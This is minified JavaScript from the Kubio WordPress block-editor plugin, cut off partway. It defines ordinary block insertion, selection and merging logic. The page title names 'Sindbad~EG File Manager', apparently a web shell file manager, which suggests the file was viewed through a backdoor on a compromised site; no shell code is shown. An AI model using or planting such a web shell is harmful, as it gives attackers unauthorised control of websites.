Sindbad~EG File Manager
this.kubio=this.kubio||{},this.kubio.blockEditor=function(e){var t={};function n(o){if(t[o])return t[o].exports;var r=t[o]={i:o,l:!1,exports:{}};return e[o].call(r.exports,r,r.exports,n),r.l=!0,r.exports}return n.m=e,n.c=t,n.d=function(e,t,o){n.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:o})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var o=Object.create(null);if(n.r(o),Object.defineProperty(o,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)n.d(o,r,function(t){return e[t]}.bind(null,r));return o},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="",n(n.s=646)}([function(e,t){!function(){e.exports=this.wp.element}()},function(e,t){!function(){e.exports=this.wp.i18n}()},function(e,t){!function(){e.exports=this.lodash}()},function(e,t){!function(){e.exports=this.wp.components}()},,function(e,t){!function(){e.exports=this.wp.primitives}()},,function(e,t){!function(){e.exports=this.wp.data}()},function(e,t,n){"use strict";function o(){return o=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},o.apply(this,arguments)}n.d(t,"a",(function(){return o}))},,function(e,t){!function(){e.exports=this.React}()},function(e,t){!function(){e.exports=this.wp.compose}()},function(e,t){!function(){e.exports=this.wp.blocks}()},function(e,t,n){var o;!function(){"use strict";var n={}.hasOwnProperty;function r(){for(var e=[],t=0;t<arguments.length;t++){var o=arguments[t];if(o){var l=typeof o;if("string"===l||"number"===l)e.push(o);else if(Array.isArray(o)){if(o.length){var c=r.apply(null,o);c&&e.push(c)}}else if("object"===l){if(o.toString!==Object.prototype.toString&&!o.toString.toString().includes("[native code]")){e.push(o.toString());continue}for(var i in o)n.call(o,i)&&o[i]&&e.push(i)}}}return e.join(" ")}e.exports?(r.default=r,e.exports=r):void 0===(o=function(){return r}.apply(t,[]))||(e.exports=o)}()},function(e,t,n){"use strict";n.d(t,"b",(function(){return ko})),n.d(t,"a",(function(){return jo}));var o={};n.r(o),n.d(o,"__experimentalUpdateSettings",(function(){return v})),n.d(o,"hideBlockInterface",(function(){return O})),n.d(o,"showBlockInterface",(function(){return k}));var r={};n.r(r),n.d(r,"resetBlocks",(function(){return y})),n.d(r,"validateBlocksToTemplate",(function(){return E})),n.d(r,"resetSelection",(function(){return S})),n.d(r,"receiveBlocks",(function(){return C})),n.d(r,"updateBlockAttributes",(function(){return w})),n.d(r,"updateBlock",(function(){return B})),n.d(r,"selectBlock",(function(){return I})),n.d(r,"selectPreviousBlock",(function(){return x})),n.d(r,"selectNextBlock",(function(){return T})),n.d(r,"startMultiSelect",(function(){return N})),n.d(r,"stopMultiSelect",(function(){return M})),n.d(r,"multiSelect",(function(){return P})),n.d(r,"clearSelectedBlock",(function(){return L})),n.d(r,"toggleSelection",(function(){return R})),n.d(r,"replaceBlocks",(function(){return D})),n.d(r,"replaceBlock",(function(){return F})),n.d(r,"moveBlocksDown",(function(){return V})),n.d(r,"moveBlocksUp",(function(){return H})),n.d(r,"moveBlocksToPosition",(function(){return G})),n.d(r,"moveBlockToPosition",(function(){return $})),n.d(r,"insertBlock",(function(){return U})),n.d(r,"insertBlocks",(function(){return W})),n.d(r,"showInsertionPoint",(function(){return K})),n.d(r,"hideInsertionPoint",(function(){return q})),n.d(r,"setTemplateValidity",(function(){return Y})),n.d(r,"synchronizeTemplate",(function(){return Q})),n.d(r,"__unstableDeleteSelection",(function(){return X})),n.d(r,"__unstableSplitSelection",(function(){return Z})),n.d(r,"__unstableExpandSelection",(function(){return J})),n.d(r,"mergeBlocks",(function(){return ee})),n.d(r,"removeBlocks",(function(){return te})),n.d(r,"removeBlock",(function(){return ne})),n.d(r,"replaceInnerBlocks",(function(){return oe})),n.d(r,"toggleBlockMode",(function(){return re})),n.d(r,"startTyping",(function(){return le})),n.d(r,"stopTyping",(function(){return ce})),n.d(r,"startDraggingBlocks",(function(){return ie})),n.d(r,"stopDraggingBlocks",(function(){return ae})),n.d(r,"enterFormattedText",(function(){return se})),n.d(r,"exitFormattedText",(function(){return ue})),n.d(r,"selectionChange",(function(){return de})),n.d(r,"insertDefaultBlock",(function(){return be})),n.d(r,"updateBlockListSettings",(function(){return pe})),n.d(r,"updateSettings",(function(){return me})),n.d(r,"__unstableSaveReusableBlock",(function(){return fe})),n.d(r,"__unstableMarkLastChangeAsPersistent",(function(){return ge})),n.d(r,"__unstableMarkNextChangeAsNotPersistent",(function(){return he})),n.d(r,"__unstableMarkAutomaticChange",(function(){return ve})),n.d(r,"setNavigationMode",(function(){return Oe})),n.d(r,"__unstableSetEditorMode",(function(){return ke})),n.d(r,"setBlockMovingClientId",(function(){return je})),n.d(r,"duplicateBlocks",(function(){return _e})),n.d(r,"insertBeforeBlock",(function(){return ye})),n.d(r,"insertAfterBlock",(function(){return Ee})),n.d(r,"toggleBlockHighlight",(function(){return Se})),n.d(r,"flashBlock",(function(){return Ce})),n.d(r,"setHasControlledInnerBlocks",(function(){return we})),n.d(r,"setBlockVisibility",(function(){return Be})),n.d(r,"__unstableSetTemporarilyEditingAsBlocks",(function(){return Ie}));var l={};n.r(l),n.d(l,"isBlockInterfaceHidden",(function(){return Te})),n.d(l,"getLastInsertedBlocksClientIds",(function(){return Ne}));var c={};n.r(c),n.d(c,"getBlockName",(function(){return rt})),n.d(c,"isBlockValid",(function(){return lt})),n.d(c,"getBlockAttributes",(function(){return ct})),n.d(c,"getBlock",(function(){return it})),n.d(c,"__unstableGetBlockWithoutInnerBlocks",(function(){return at})),n.d(c,"getBlocks",(function(){return st})),n.d(c,"__unstableGetClientIdWithClientIdsTree",(function(){return ut})),n.d(c,"__unstableGetClientIdsTree",(function(){return dt})),n.d(c,"getClientIdsOfDescendants",(function(){return bt})),n.d(c,"getClientIdsWithDescendants",(function(){return pt})),n.d(c,"getGlobalBlockCount",(function(){return mt})),n.d(c,"__experimentalGetGlobalBlocksByName",(function(){return ft})),n.d(c,"getBlocksByClientId",(function(){return gt})),n.d(c,"getBlockNamesByClientId",(function(){return ht})),n.d(c,"getBlockCount",(function(){return vt})),n.d(c,"getSelectionStart",(function(){return Ot})),n.d(c,"getSelectionEnd",(function(){return kt})),n.d(c,"getBlockSelectionStart",(function(){return jt})),n.d(c,"getBlockSelectionEnd",(function(){return _t})),n.d(c,"getSelectedBlockCount",(function(){return yt})),n.d(c,"hasSelectedBlock",(function(){return Et})),n.d(c,"getSelectedBlockClientId",(function(){return St})),n.d(c,"getSelectedBlock",(function(){return Ct})),n.d(c,"getBlockRootClientId",(function(){return wt})),n.d(c,"getBlockParents",(function(){return Bt})),n.d(c,"getBlockParentsByBlockName",(function(){return It})),n.d(c,"getBlockHierarchyRootClientId",(function(){return xt})),n.d(c,"getLowestCommonAncestorWithSelectedBlock",(function(){return Tt})),n.d(c,"getAdjacentBlockClientId",(function(){return Nt})),n.d(c,"getPreviousBlockClientId",(function(){return Mt})),n.d(c,"getNextBlockClientId",(function(){return Pt})),n.d(c,"getSelectedBlocksInitialCaretPosition",(function(){return Lt})),n.d(c,"getSelectedBlockClientIds",(function(){return Rt})),n.d(c,"getMultiSelectedBlockClientIds",(function(){return At})),n.d(c,"getMultiSelectedBlocks",(function(){return Dt})),n.d(c,"getFirstMultiSelectedBlockClientId",(function(){return Ft})),n.d(c,"getLastMultiSelectedBlockClientId",(function(){return zt})),n.d(c,"isFirstMultiSelectedBlock",(function(){return Vt})),n.d(c,"isBlockMultiSelected",(function(){return Ht})),n.d(c,"isAncestorMultiSelected",(function(){return Gt})),n.d(c,"getMultiSelectedBlocksStartClientId",(function(){return $t})),n.d(c,"getMultiSelectedBlocksEndClientId",(function(){return Ut})),n.d(c,"__unstableIsFullySelected",(function(){return Wt})),n.d(c,"__unstableIsSelectionCollapsed",(function(){return Kt})),n.d(c,"__unstableSelectionHasUnmergeableBlock",(function(){return qt})),n.d(c,"__unstableIsSelectionMergeable",(function(){return Yt})),n.d(c,"__unstableGetSelectedBlocksWithPartialSelection",(function(){return Qt})),n.d(c,"getBlockOrder",(function(){return Xt})),n.d(c,"getBlockIndex",(function(){return Zt})),n.d(c,"isBlockSelected",(function(){return Jt})),n.d(c,"hasSelectedInnerBlock",(function(){return en})),n.d(c,"isBlockWithinSelection",(function(){return tn})),n.d(c,"hasMultiSelection",(function(){return nn})),n.d(c,"isMultiSelecting",(function(){return on})),n.d(c,"isSelectionEnabled",(function(){return rn})),n.d(c,"getBlockMode",(function(){return ln})),n.d(c,"isTyping",(function(){return cn})),n.d(c,"isDraggingBlocks",(function(){return an})),n.d(c,"getDraggedBlockClientIds",(function(){return sn})),n.d(c,"isBlockBeingDragged",(function(){return un})),n.d(c,"isAncestorBeingDragged",(function(){return dn})),n.d(c,"isCaretWithinFormattedText",(function(){return bn})),n.d(c,"getBlockInsertionPoint",(function(){return pn})),n.d(c,"isBlockInsertionPointVisible",(function(){return mn})),n.d(c,"isValidTemplate",(function(){return fn})),n.d(c,"getTemplate",(function(){return gn})),n.d(c,"getTemplateLock",(function(){return hn})),n.d(c,"canInsertBlockType",(function(){return kn})),n.d(c,"canInsertBlocks",(function(){return jn})),n.d(c,"canRemoveBlock",(function(){return yn})),n.d(c,"canRemoveBlocks",(function(){return En})),n.d(c,"canMoveBlock",(function(){return Sn})),n.d(c,"canMoveBlocks",(function(){return Cn})),n.d(c,"canEditBlock",(function(){return wn})),n.d(c,"canLockBlockType",(function(){return Bn})),n.d(c,"getInserterItems",(function(){return Mn})),n.d(c,"getBlockTransformItems",(function(){return Pn})),n.d(c,"hasInserterItems",(function(){return Ln})),n.d(c,"getAllowedBlocks",(function(){return Rn})),n.d(c,"__experimentalGetAllowedBlocks",(function(){return An})),n.d(c,"__experimentalGetDirectInsertBlock",(function(){return Dn})),n.d(c,"__experimentalGetParsedPattern",(function(){return zn})),n.d(c,"__experimentalGetAllowedPatterns",(function(){return Hn})),n.d(c,"getPatternsByBlockTypes",(function(){return Gn})),n.d(c,"__experimentalGetPatternsByBlockTypes",(function(){return $n})),n.d(c,"__experimentalGetPatternTransformItems",(function(){return Un})),n.d(c,"getBlockListSettings",(function(){return Wn})),n.d(c,"getSettings",(function(){return Kn})),n.d(c,"isLastBlockChangePersistent",(function(){return qn})),n.d(c,"__experimentalGetBlockListSettingsForBlocks",(function(){return Yn})),n.d(c,"__experimentalGetReusableBlockTitle",(function(){return Qn})),n.d(c,"__unstableIsLastBlockChangeIgnored",(function(){return Xn})),n.d(c,"__experimentalGetLastBlockAttributeChanges",(function(){return Zn})),n.d(c,"isNavigationMode",(function(){return eo})),n.d(c,"__unstableGetEditorMode",(function(){return to})),n.d(c,"hasBlockMovingClientId",(function(){return no})),n.d(c,"didAutomaticChange",(function(){return oo})),n.d(c,"isBlockHighlighted",(function(){return ro})),n.d(c,"areInnerBlocksControlled",(function(){return lo})),n.d(c,"__experimentalGetActiveBlockIdByBlockNames",(function(){return co})),n.d(c,"wasBlockJustInserted",(function(){return io})),n.d(c,"isBlockVisible",(function(){return ao})),n.d(c,"__unstableGetVisibleBlocks",(function(){return so})),n.d(c,"__unstableGetContentLockingParent",(function(){return uo})),n.d(c,"__unstableGetTemporarilyEditingAsBlocks",(function(){return bo})),n.d(c,"__unstableHasActiveBlockOverlayActive",(function(){return po})),n.d(c,"__unstableIsWithinBlockOverlay",(function(){return mo})),n.d(c,"wasBlockJustRemoved",(function(){return fo}));var i=n(7),a=n(97),s=n(63),u=n(12),d=n(48),b=n.n(d),p=n(1),m=n(34),f=n(113),g=n(0);const h=["inserterMediaCategories"];function v(e){let t=e;if(arguments.length>1&&void 0!==arguments[1]&&arguments[1]&&"web"===g.Platform.OS){t={};for(const n in e)h.includes(n)||(t[n]=e[n])}return{type:"UPDATE_SETTINGS",settings:t}}function O(){return{type:"HIDE_BLOCK_INTERFACE"}}function k(){return{type:"SHOW_BLOCK_INTERFACE"}}function j(e){const{multiline:t,__unstableMultilineWrapperTags:n,__unstablePreserveWhiteSpace:o}=e;return{multilineTag:t,multilineWrapperTags:n,preserveWhiteSpace:o}}const _=e=>Array.isArray(e)?e:[e],y=e=>t=>{let{dispatch:n}=t;n({type:"RESET_BLOCKS",blocks:e}),n(E(e))},E=e=>t=>{let{select:n,dispatch:o}=t;const r=n.getTemplate(),l=n.getTemplateLock(),c=!r||"all"!==l||Object(u.doBlocksMatchTemplate)(e,r);if(c!==n.isValidTemplate())return o.setTemplateValidity(c),c};function S(e,t,n){return{type:"RESET_SELECTION",selectionStart:e,selectionEnd:t,initialPosition:n}}function C(e){return b()('wp.data.dispatch( "core/block-editor" ).receiveBlocks',{since:"5.9",alternative:"resetBlocks or insertBlocks"}),{type:"RECEIVE_BLOCKS",blocks:e}}function w(e,t){let n=arguments.length>2&&void 0!==arguments[2]&&arguments[2];return{type:"UPDATE_BLOCK_ATTRIBUTES",clientIds:_(e),attributes:t,uniqueByBlock:n}}function B(e,t){return{type:"UPDATE_BLOCK",clientId:e,updates:t}}function I(e){return{type:"SELECT_BLOCK",initialPosition:arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,clientId:e}}const x=e=>t=>{let{select:n,dispatch:o}=t;const r=n.getPreviousBlockClientId(e);r&&o.selectBlock(r,-1)},T=e=>t=>{let{select:n,dispatch:o}=t;const r=n.getNextBlockClientId(e);r&&o.selectBlock(r)};function N(){return{type:"START_MULTI_SELECT"}}function M(){return{type:"STOP_MULTI_SELECT"}}const P=function(e,t){return e=>{let{select:t,dispatch:n}=e}};function L(){return{type:"CLEAR_SELECTED_BLOCK"}}function R(){return{type:"TOGGLE_SELECTION",isSelectionEnabled:!(arguments.length>0&&void 0!==arguments[0])||arguments[0]}}function A(e,t){var n,o;const r=null!==(n=null==t||null===(o=t.__experimentalPreferredStyleVariations)||void 0===o?void 0:o.value)&&void 0!==n?n:{};return e.map((e=>{var t;const n=e.name;if(!Object(u.hasBlockSupport)(n,"defaultStylePicker",!0))return e;if(!r[n])return e;const o=null===(t=e.attributes)||void 0===t?void 0:t.className;if(null!=o&&o.includes("is-style-"))return e;const{attributes:l={}}=e,c=r[n];return{...e,attributes:{...l,className:`${o||""} is-style-${c}`.trim()}}}))}const D=function(e,t,n){let o=arguments.length>3&&void 0!==arguments[3]?arguments[3]:0,r=arguments.length>4?arguments[4]:void 0;return l=>{let{select:c,dispatch:i}=l;e=_(e),t=A(_(t),c.getSettings());const a=c.getBlockRootClientId(e[0]);for(let e=0;e<t.length;e++){const n=t[e];if(!c.canInsertBlockType(n.name,a))return}i({type:"REPLACE_BLOCKS",clientIds:e,blocks:t,time:Date.now(),indexToSelect:n,initialPosition:o,meta:r}),i((e=>{let{select:t,dispatch:n}=e;if(t.getBlockCount()>0)return;const{__unstableHasCustomAppender:o}=t.getSettings();o||n.insertDefaultBlock()}))}};function F(e,t){return D(e,t)}const z=e=>(t,n)=>o=>{let{select:r,dispatch:l}=o;r.canMoveBlocks(t,n)&&l({type:e,clientIds:_(t),rootClientId:n})},V=z("MOVE_BLOCKS_DOWN"),H=z("MOVE_BLOCKS_UP"),G=function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"",n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"",o=arguments.length>3?arguments[3]:void 0;return r=>{let{select:l,dispatch:c}=r;if(l.canMoveBlocks(e,t)){if(t!==n){if(!l.canRemoveBlocks(e,t))return;if(!l.canInsertBlocks(e,n))return}c({type:"MOVE_BLOCKS_TO_POSITION",fromRootClientId:t,toRootClientId:n,clientIds:e,index:o})}}};function $(e){return G([e],arguments.length>1&&void 0!==arguments[1]?arguments[1]:"",arguments.length>2&&void 0!==arguments[2]?arguments[2]:"",arguments.length>3?arguments[3]:void 0)}function U(e,t,n,o,r){return W([e],t,n,o,0,r)}const W=function(e,t,n){let o=!(arguments.length>3&&void 0!==arguments[3])||arguments[3],r=arguments.length>4&&void 0!==arguments[4]?arguments[4]:0,l=arguments.length>5?arguments[5]:void 0;return c=>{let{select:i,dispatch:a}=c;null!==r&&"object"==typeof r&&(l=r,r=0,b()("meta argument in wp.data.dispatch('core/block-editor')",{since:"5.8",hint:"The meta argument is now the 6th argument of the function"})),e=A(_(e),i.getSettings());const s=[];for(const t of e)i.canInsertBlockType(t.name,n)&&s.push(t);s.length&&a({type:"INSERT_BLOCKS",blocks:s,index:t,rootClientId:n,time:Date.now(),updateSelection:o,initialPosition:o?r:null,meta:l})}};function K(e,t){let n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};const{__unstableWithInserter:o,operation:r,kubioInsertionEdge:l}=n;return{type:"SHOW_INSERTION_POINT",rootClientId:e,index:t,__unstableWithInserter:o,operation:r,kubioInsertionEdge:l}}const q=()=>e=>{let{select:t,dispatch:n}=e;t.isBlockInsertionPointVisible()&&n({type:"HIDE_INSERTION_POINT"})};function Y(e){return{type:"SET_TEMPLATE_VALIDITY",isValid:e}}const Q=()=>e=>{let{select:t,dispatch:n}=e;n({type:"SYNCHRONIZE_TEMPLATE"});const o=t.getBlocks(),r=t.getTemplate(),l=Object(u.synchronizeBlocksWithTemplate)(o,r);n.resetBlocks(l)},X=e=>t=>{let{registry:n,select:o,dispatch:r}=t;const l=o.getSelectionStart(),c=o.getSelectionEnd();if(l.clientId===c.clientId)return;if(!l.attributeKey||!c.attributeKey||void 0===l.offset||void 0===c.offset)return!1;const i=o.getBlockRootClientId(l.clientId);if(i!==o.getBlockRootClientId(c.clientId))return;const a=o.getBlockOrder(i);let s,d;a.indexOf(l.clientId)>a.indexOf(c.clientId)?(s=c,d=l):(s=l,d=c);const b=e?d:s,p=o.getBlock(b.clientId),g=Object(u.getBlockType)(p.name);if(!g.merge)return;const h=s,v=d,O=o.getBlock(h.clientId),k=Object(u.getBlockType)(O.name),_=o.getBlock(v.clientId),y=Object(u.getBlockType)(_.name),E=O.attributes[h.attributeKey],S=_.attributes[v.attributeKey],C=k.attributes[h.attributeKey],w=y.attributes[v.attributeKey];let B=Object(m.create)({html:E,...j(C)}),I=Object(m.create)({html:S,...j(w)});B=Object(m.remove)(B,h.offset,B.text.length),I=Object(m.insert)(I,f.a,0,v.offset);const x=Object(u.cloneBlock)(O,{[h.attributeKey]:Object(m.toHTMLString)({value:B,...j(C)})}),T=Object(u.cloneBlock)(_,{[v.attributeKey]:Object(m.toHTMLString)({value:I,...j(w)})}),N=e?x:T,M=O.name===_.name?[N]:Object(u.switchToBlockType)(N,g.name);if(!M||!M.length)return;let P;if(e){const e=M.pop();P=g.merge(e.attributes,T.attributes)}else{const e=M.shift();P=g.merge(x.attributes,e.attributes)}const L=Object(f.b)(P),R=P[L],A=Object(m.create)({html:R,...j(g.attributes[L])}),D=A.text.indexOf(f.a),F=Object(m.remove)(A,D,D+1),z=Object(m.toHTMLString)({value:F,...j(g.attributes[L])});P[L]=z;const V=o.getSelectedBlockClientIds(),H=[...e?M:[],{...p,attributes:{...p.attributes,...P}},...e?[]:M];n.batch((()=>{r.selectionChange(p.clientId,L,D,D),r.replaceBlocks(V,H,0,o.getSelectedBlocksInitialCaretPosition())}))},Z=()=>e=>{let{select:t,dispatch:n}=e;const o=t.getSelectionStart(),r=t.getSelectionEnd();if(o.clientId===r.clientId)return;if(!o.attributeKey||!r.attributeKey||void 0===o.offset||void 0===r.offset)return;const l=t.getBlockRootClientId(o.clientId);if(l!==t.getBlockRootClientId(r.clientId))return;const c=t.getBlockOrder(l);let i,a;c.indexOf(o.clientId)>c.indexOf(r.clientId)?(i=r,a=o):(i=o,a=r);const s=i,d=a,b=t.getBlock(s.clientId),p=Object(u.getBlockType)(b.name),f=t.getBlock(d.clientId),g=Object(u.getBlockType)(f.name),h=b.attributes[s.attributeKey],v=f.attributes[d.attributeKey],O=p.attributes[s.attributeKey],k=g.attributes[d.attributeKey];let _=Object(m.create)({html:h,...j(O)}),y=Object(m.create)({html:v,...j(k)});_=Object(m.remove)(_,s.offset,_.text.length),y=Object(m.remove)(y,0,d.offset),n.replaceBlocks(t.getSelectedBlockClientIds(),[{...b,attributes:{...b.attributes,[s.attributeKey]:Object(m.toHTMLString)({value:_,...j(O)})}},Object(u.createBlock)(Object(u.getDefaultBlockName)()),{...f,attributes:{...f.attributes,[d.attributeKey]:Object(m.toHTMLString)({value:y,...j(k)})}}],1,t.getSelectedBlocksInitialCaretPosition())},J=()=>e=>{let{select:t,dispatch:n}=e;const o=t.getSelectionStart(),r=t.getSelectionEnd();n.selectionChange({start:{clientId:o.clientId},end:{clientId:r.clientId}})},ee=(e,t)=>n=>{let{registry:o,select:r,dispatch:l}=n;const c=[e,t];l({type:"MERGE_BLOCKS",blocks:c});const[i,a]=c,s=r.getBlock(i),d=Object(u.getBlockType)(s.name);if(!d)return;const b=r.getBlock(a);if(d&&!d.merge){const e=Object(u.switchToBlockType)(b,d.name);if(1!==(null==e?void 0:e.length))return void l.selectBlock(s.clientId);const[t]=e;return t.innerBlocks.length<1?void l.selectBlock(s.clientId):void o.batch((()=>{l.insertBlocks(t.innerBlocks,void 0,i),l.removeBlock(a),l.selectBlock(t.innerBlocks[0].clientId)}))}const p=Object(u.getBlockType)(b.name),{clientId:g,attributeKey:h,offset:v}=r.getSelectionStart(),O=(g===i?d:p).attributes[h],k=(g===i||g===a)&&void 0!==h&&void 0!==v&&!!O;O||("number"==typeof h?window.console.error("RichText needs an identifier prop that is the block attribute key of the attribute it controls. Its type is expected to be a string, but was "+typeof h):window.console.error("The RichText identifier prop does not match any attributes defined by the block."));const _=Object(u.cloneBlock)(s),y=Object(u.cloneBlock)(b);if(k){const e=g===i?_:y,t=e.attributes[h],n=Object(m.insert)(Object(m.create)({html:t,...j(O)}),f.a,v,v);e.attributes[h]=Object(m.toHTMLString)({value:n,...j(O)})}const E=s.name===b.name?[y]:Object(u.switchToBlockType)(y,s.name);if(!E||!E.length)return;const S=d.merge(_.attributes,E[0].attributes);if(k){const e=Object(f.b)(S),t=S[e],n=Object(m.create)({html:t,...j(d.attributes[e])}),o=n.text.indexOf(f.a),r=Object(m.remove)(n,o,o+1),c=Object(m.toHTMLString)({value:r,...j(d.attributes[e])});S[e]=c,l.selectionChange(s.clientId,e,o,o)}l.replaceBlocks([s.clientId,b.clientId],[{...s,attributes:{...s.attributes,...S}},...E.slice(1)],0)},te=function(e){let t=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];return n=>{let{select:o,dispatch:r}=n;if(!e||!e.length)return;e=_(e);const l=o.getBlockRootClientId(e[0]);o.canRemoveBlocks(e,l)&&(t&&r.selectPreviousBlock(e[0]),r({type:"REMOVE_BLOCKS",clientIds:e}),r((e=>{let{select:t,dispatch:n}=e;if(t.getBlockCount()>0)return;const{__unstableHasCustomAppender:o}=t.getSettings();o||n.insertDefaultBlock()})))}};function ne(e,t){return te([e],t)}function oe(e,t){let n=arguments.length>2&&void 0!==arguments[2]&&arguments[2];return{type:"REPLACE_INNER_BLOCKS",rootClientId:e,blocks:t,updateSelection:n,initialPosition:n?arguments.length>3&&void 0!==arguments[3]?arguments[3]:0:null,time:Date.now()}}function re(e){return{type:"TOGGLE_BLOCK_MODE",clientId:e}}function le(){return{type:"START_TYPING"}}function ce(){return{type:"STOP_TYPING"}}function ie(){return{type:"START_DRAGGING_BLOCKS",clientIds:arguments.length>0&&void 0!==arguments[0]?arguments[0]:[]}}function ae(){return{type:"STOP_DRAGGING_BLOCKS"}}function se(){return b()('wp.data.dispatch( "core/block-editor" ).enterFormattedText',{since:"6.1",version:"6.3"}),{type:"DO_NOTHING"}}function ue(){return b()('wp.data.dispatch( "core/block-editor" ).exitFormattedText',{since:"6.1",version:"6.3"}),{type:"DO_NOTHING"}}function de(e,t,n,o){return"string"==typeof e?{type:"SELECTION_CHANGE",clientId:e,attributeKey:t,startOffset:n,endOffset:o}:{type:"SELECTION_CHANGE",...e}}const be=(e,t,n)=>o=>{let{dispatch:r}=o;const l=Object(u.getDefaultBlockName)();if(!l)return;const c=Object(u.createBlock)(l,e);return r.insertBlock(c,n,t)};function pe(e,t){return{type:"UPDATE_BLOCK_LIST_SETTINGS",clientId:e,settings:t}}function me(e){return top.wp.experiments?v(e,!0):{type:"UPDATE_SETTINGS",settings:e}}function fe(e,t){return{type:"SAVE_REUSABLE_BLOCK_SUCCESS",id:e,updatedId:t}}function ge(){return{type:"MARK_LAST_CHANGE_AS_PERSISTENT"}}function he(){return{type:"MARK_NEXT_CHANGE_AS_NOT_PERSISTENT"}}const ve=()=>e=>{let{dispatch:t}=e;t({type:"MARK_AUTOMATIC_CHANGE"});const{requestIdleCallback:n=(e=>setTimeout(e,100))}=window;n((()=>{t({type:"MARK_AUTOMATIC_CHANGE_FINAL"})}))},Oe=function(){let e=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];return t=>{let{dispatch:n}=t;n.__unstableSetEditorMode(e?"navigation":"edit")}},ke=e=>t=>{let{dispatch:n,select:o}=t;if("zoom-out"===e){const e=o.getBlockSelectionStart();e&&n.selectBlock(o.getBlockHierarchyRootClientId(e))}n({type:"SET_EDITOR_MODE",mode:e}),"navigation"===e?Object(s.speak)(Object(p.__)("You are currently in navigation mode. Navigate blocks using the Tab key and Arrow keys. Use Left and Right Arrow keys to move between nesting levels. To exit navigation mode and edit the selected block, press Enter.","kubio")):"edit"===e?Object(s.speak)(Object(p.__)("You are currently in edit mode. To return to the navigation mode, press Escape.","kubio")):"zoom-out"===e&&Object(s.speak)(Object(p.__)("You are currently in zoom-out mode.","kubio"))},je=function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null;return t=>{let{dispatch:n}=t;n({type:"SET_BLOCK_MOVING_MODE",hasBlockMovingClientId:e}),e&&Object(s.speak)(Object(p.__)("Use the Tab key and Arrow keys to choose new block location. Use Left and Right Arrow keys to move between nesting levels. Once location is selected press Enter or Space to move the block.","kubio"))}},_e=function(e){let t=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];return n=>{let{select:o,dispatch:r}=n;if(!e||!e.length)return;const l=o.getBlocksByClientId(e);if(l.some((e=>!e)))return;if(l.map((e=>e.name)).some((e=>!Object(u.hasBlockSupport)(e,"multiple",!0))))return;const c=o.getBlockRootClientId(e[0]),i=_(e),a=o.getBlockIndex(i[i.length-1]),s=l.map((e=>Object(u.__experimentalCloneSanitizedBlock)(e)));return r.insertBlocks(s,a+1,c,t),s.length>1&&t&&r.multiSelect(s[0].clientId,s[s.length-1].clientId),s.map((e=>e.clientId))}},ye=e=>t=>{let{select:n,dispatch:o}=t;if(!e)return;const r=n.getBlockRootClientId(e);if(n.getTemplateLock(r))return;const l=n.getBlockIndex(e);return o.insertDefaultBlock({},r,l)},Ee=e=>t=>{let{select:n,dispatch:o}=t;if(!e)return;const r=n.getBlockRootClientId(e);if(n.getTemplateLock(r))return;const l=n.getBlockIndex(e);return o.insertDefaultBlock({},r,l+1)};function Se(e,t){return{type:"TOGGLE_BLOCK_HIGHLIGHT",clientId:e,isHighlighted:t}}const Ce=e=>async t=>{let{dispatch:n}=t;n(Se(e,!0)),await new Promise((e=>setTimeout(e,150))),n(Se(e,!1))};function we(e,t){return{type:"SET_HAS_CONTROLLED_INNER_BLOCKS",hasControlledInnerBlocks:t,clientId:e}}function Be(e){return{type:"SET_BLOCK_VISIBILITY",updates:e}}function Ie(e){return{type:"SET_TEMPORARILY_EDITING_AS_BLOCKS",temporarilyEditingAsBlocks:e}}var xe=n(200);function Te(e){return e.isBlockInterfaceHidden}function Ne(e){var t;return null==e||null===(t=e.lastBlockInserted)||void 0===t?void 0:t.clientIds}var Me=n(32),Pe=n.n(Me),Le=n(11),Re=n(2);function Ae(e,t,n){return[...e.slice(0,n),...Array.isArray(t)?t:[t],...e.slice(n)]}function De(e,t,n){let o=arguments.length>3&&void 0!==arguments[3]?arguments[3]:1;const r=[...e];return r.splice(t,o),Ae(r,e.slice(t,t+o),n)}var Fe=n(193);const ze=e=>e;function Ve(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"";const n=new Map,o=[];return n.set(t,o),e.forEach((e=>{const{clientId:t,innerBlocks:r}=e;o.push(t),Ve(r,t).forEach(((e,t)=>{n.set(t,e)}))})),n}function He(e){const t=[],n=[[arguments.length>1&&void 0!==arguments[1]?arguments[1]:"",e]];for(;n.length;){const[e,o]=n.shift();o.forEach((o=>{let{innerBlocks:r,...l}=o;t.push([l.clientId,e]),null!=r&&r.length&&n.push([l.clientId,r])}))}return t}function Ge(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:ze;const n=[],o=[...e];for(;o.length;){const{innerBlocks:e,...r}=o.shift();o.push(...e),n.push([r.clientId,t(r)])}return n}function $e(e){return Ge(e,(e=>{const{attributes:t,...n}=e;return n}))}function Ue(e){return Ge(e,(e=>e.attributes))}function We(e,t){return"UPDATE_BLOCK_ATTRIBUTES"===e.type&&void 0!==t&&"UPDATE_BLOCK_ATTRIBUTES"===t.type&&Pe()(e.clientIds,t.clientIds)&&(n=e.attributes,o=t.attributes,Pe()(Object.keys(n),Object.keys(o)));var n,o}function Ke(e,t){const n=e.tree,o=[...t],r=[...t];for(;o.length;){const e=o.shift();o.push(...e.innerBlocks),r.push(...e.innerBlocks)}for(const e of r)n.set(e.clientId,{});for(const t of 